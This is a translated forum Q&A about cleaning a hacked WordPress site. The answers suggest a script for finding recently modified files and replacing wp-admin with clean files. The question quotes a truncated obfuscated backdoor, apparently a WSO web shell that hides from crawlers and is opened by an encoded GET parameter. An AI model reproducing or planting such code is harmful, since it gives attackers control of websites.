Wordpress网站被黑客攻击 - 无法删除黑客文件

时间:2014-11-07 09:31:33

标签: php wordpress

我的wordpress网站被黑了。幸运的是,我已经能够清理所有受影响的文件,删除所有非活动插件和文件,完成恶意软件扫描(这是干净的)。但是,有一个文件即使在多次删除后仍会重新出现。

存在于我的wp-admin目录中,并且名为.admin.php。我确定这个文件是由黑客放置的文件。

我无法删除此文件,因为它不断重现。我已经联系过我的主机,他们甚至无法摆脱这个。

有人遇到过这个或其他任何我可以尝试的东西吗?

这是文件中的代码:    

// Preventing a directory listing

 if(!empty($_SERVER["HTTP_USER_AGENT"])) {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {

    header("HTTP/1.0 404 Not Found");exit;

}

}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (isset($_GET[str_rot13(pack("H*", "667265707267"))])) {$_F=__FILE__;$_X="JDEzdGhfcDFzcyA9ICJ1NThmZGkwMDEwNm9vNjl1MGZjMTh1YmZvZTU3MDdkbyI7DQokYzJsMnIgPSAiI2RmaSI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdVVEYtOCc7DQoJDQovLyBBRXFkYUFlSzB1DQoNCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCkBkNWY0bjUoJ1dTT19WRVJTSU9OJywgJ2EuaScpOw0KDQo0ZihnNXRfbTFnNGNfcTMydDVzX2dwYygpKSB7DQoJZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgew0KCQlyNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnV1NPc3RyNHBzbDFzaDVzJywgJDFycjF5KSA6IHN0cjRwc2wxc2g1cygkMXJyMXkpOw0KCX0NCgkkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsNCiAgICAkX0NPT0tJRSA9IFdTT3N0cjRwc2wxc2g1cygkX0NPT0tJRSk7DQp9DQoNCmYzbmN0NDJuIHdzMkwyZzRuKCkgew0KCWQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQoNCmYzbmN0NDJuIFdTT3M1dGMyMms0NSgkaywgJHYpIHsNCiAgICAkX0NPT0tJRVska10gPSAkdjsNCiAgICBzNXRjMjJrNDUoJGssICR2KTsNCn0NCg0KNGYoITVtcHR5KCQxM3RoX3Axc3MpKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpKQ0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICQxM3RoX3Axc3MpOw0KDQogICAgNGYgKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gJDEzdGhfcDFzcykpDQogICAgICAgIHdzMkwyZzRuKCk7DQp9DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCgkkMnMgPSAndzRuJzsNCjVsczUNCgkkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCgkkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZigkY3dkW3N0cmw1bigkY3dkKS02XSAhPSAnLycpDQoJJGN3ZCAuPSAnLyc7DQoNCjRmKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9I

更新:

好的..我想出了为什么文件不断重新创建。我的主题文件夹中有一个名为Screenshot.png的文件。删除此文件后,我能够删除.admin.php文件(现在它没有重新出现)。在检查screenshot.png时,它似乎是一个普通的图像文件。

还不确定这个文件是如何链接到创建.admin php文件的?

2 个答案:

答案 0 :(得分:1)

这可能略高于顶部,但此代码将遍历所有文件夹和文件,并将它们返回到输入框中两个指定日期之间的最后修改日期。 看看这是否能够帮到你。

<?php
function getFileList($dir, $recurse=false, $start=0, $end=0)
{
    $retval = array();
    if(!empty($start) && !empty($end))
    {
        $start_stamp = strtotime($start);
        $end_stamp = strtotime($end);
    }

    // add trailing slash if missing
    if(substr($dir, -1) != "/") $dir .= "/";

    // open pointer to directory and read list of files
    $d = @dir($dir) or die("getFileList: Failed opening directory $dir for reading");
    while(false !== ($entry = $d->read()))
    {
        // skip hidden files
        if($entry[0] == ".") continue;
        if(is_dir("$dir$entry"))
        {
            if(!empty($start_stamp) && !empty($end_stamp))
            {
                if((filemtime("$dir$entry") <= $start_stamp && filemtime("$dir$entry") >= $end_stamp) || (filemtime("$dir$entry") >= $start_stamp && filemtime("$dir$entry") <= $end_stamp))
                {
                    $retval[] = array(
                    "name" => "$dir$entry/",
                    "type" => filetype("$dir$entry"),
                    // "size" => 0,
                    "lastmod" => date('Y-m-d H:i:s',filemtime("$dir$entry"))
                    );
                }
            }elseif($start == 0 && $end == 0)
            {
                $retval[] = array(
                "name" => "$dir$entry/",
                "type" => filetype("$dir$entry"),
                // "size" => 0,
                "lastmod" => date('Y-m-d H:i:s',filemtime("$dir$entry"))
                );
            }
            if($recurse && is_readable("$dir$entry/")) 
            {
                $retval = array_merge($retval, getFileList("$dir$entry/", true, $start, $end));
            }
        }elseif(is_readable("$dir$entry")) 
        {
            if(!empty($start_stamp) && !empty($end_stamp))
            {
                if((filemtime("$dir$entry") <= $start_stamp && filemtime("$dir$entry") >= $end_stamp) || (filemtime("$dir$entry") >= $start_stamp && filemtime("$dir$entry") <= $end_stamp))
                {
                    $retval[] = array(
                    "name" => "$dir$entry",
                    "type" => filetype("$dir$entry"),
                    // "size" => filesize("$dir$entry"),
                    "lastmod" => date('Y-m-d H:i:s',filemtime("$dir$entry"))
                    );
                }
            }elseif($start == 0 && $end == 0)
            {
                $retval[] = array(
                "name" => "$dir$entry",
                "type" => filetype("$dir$entry"),
                "size" => filesize("$dir$entry"),
                "lastmod" => date('Y-m-d H:i:s',filemtime("$dir$entry"))
                );
            }

        }
    }
    $d->close();    
    return $retval;
}

if(isset($_POST['start']) && isset($_POST['end']))
{
    $begin_date = $_POST['start'];
    $end_date = $_POST['end'];
    // include subdirectories
    $dirlist = getFileList("./", true,$begin_date, $end_date);

    // echo '<pre>';
    // print_r($dirlist);
    // echo '</pre>';
    $files  = array();
    $folders = array();
    foreach($dirlist as $item)
    {
        if($item['type'] == 'file')
        {
            $files[] = $item;
        }elseif($item['type'] == 'dir')
        {
            $folders[] = $item;
        }
    }

    echo 'Folders:'."</br>";
    foreach($folders as $folder)
    {
        echo $folder['lastmod'] . "\t" . $folder['name']. "</br>";
    }

    echo '</br>';

    echo 'Files:</br>';
    foreach($files as $file)
    {
        echo $file['lastmod']. "\t" . $file['name']. "</br>";
    }
}else
{
    echo '<form action="" method="post" id="form1">';
        echo '<input type="text" name="start" placeholder="Begin"/></br>';
        echo '<input type="text" name="end" placeholder="Eind"/></br>';
        echo '<input type="submit" value="Scan bestanden"/>';
    echo '</form>';
}
?>

这通常可以帮助我找到可能已被感染的文件并追踪可能的安全漏洞。正如其他人所建议的那样,重置密码等。

答案 1 :(得分:0)

下载您正在使用的该版本的WordPress副本。您的根目录中应该有一个名为readme.html的文件 - 您将在其中找到该版本。

然后,您可以浏览Release Archives以查找该版本。从服务器中删除实际的wp-admin文件夹,并替换为包中的文件夹。

像往常一样,在执行此类操作之前始终进行备份。我假设您遵循WordPress标准,并且您没有修改该文件夹中的任何文件。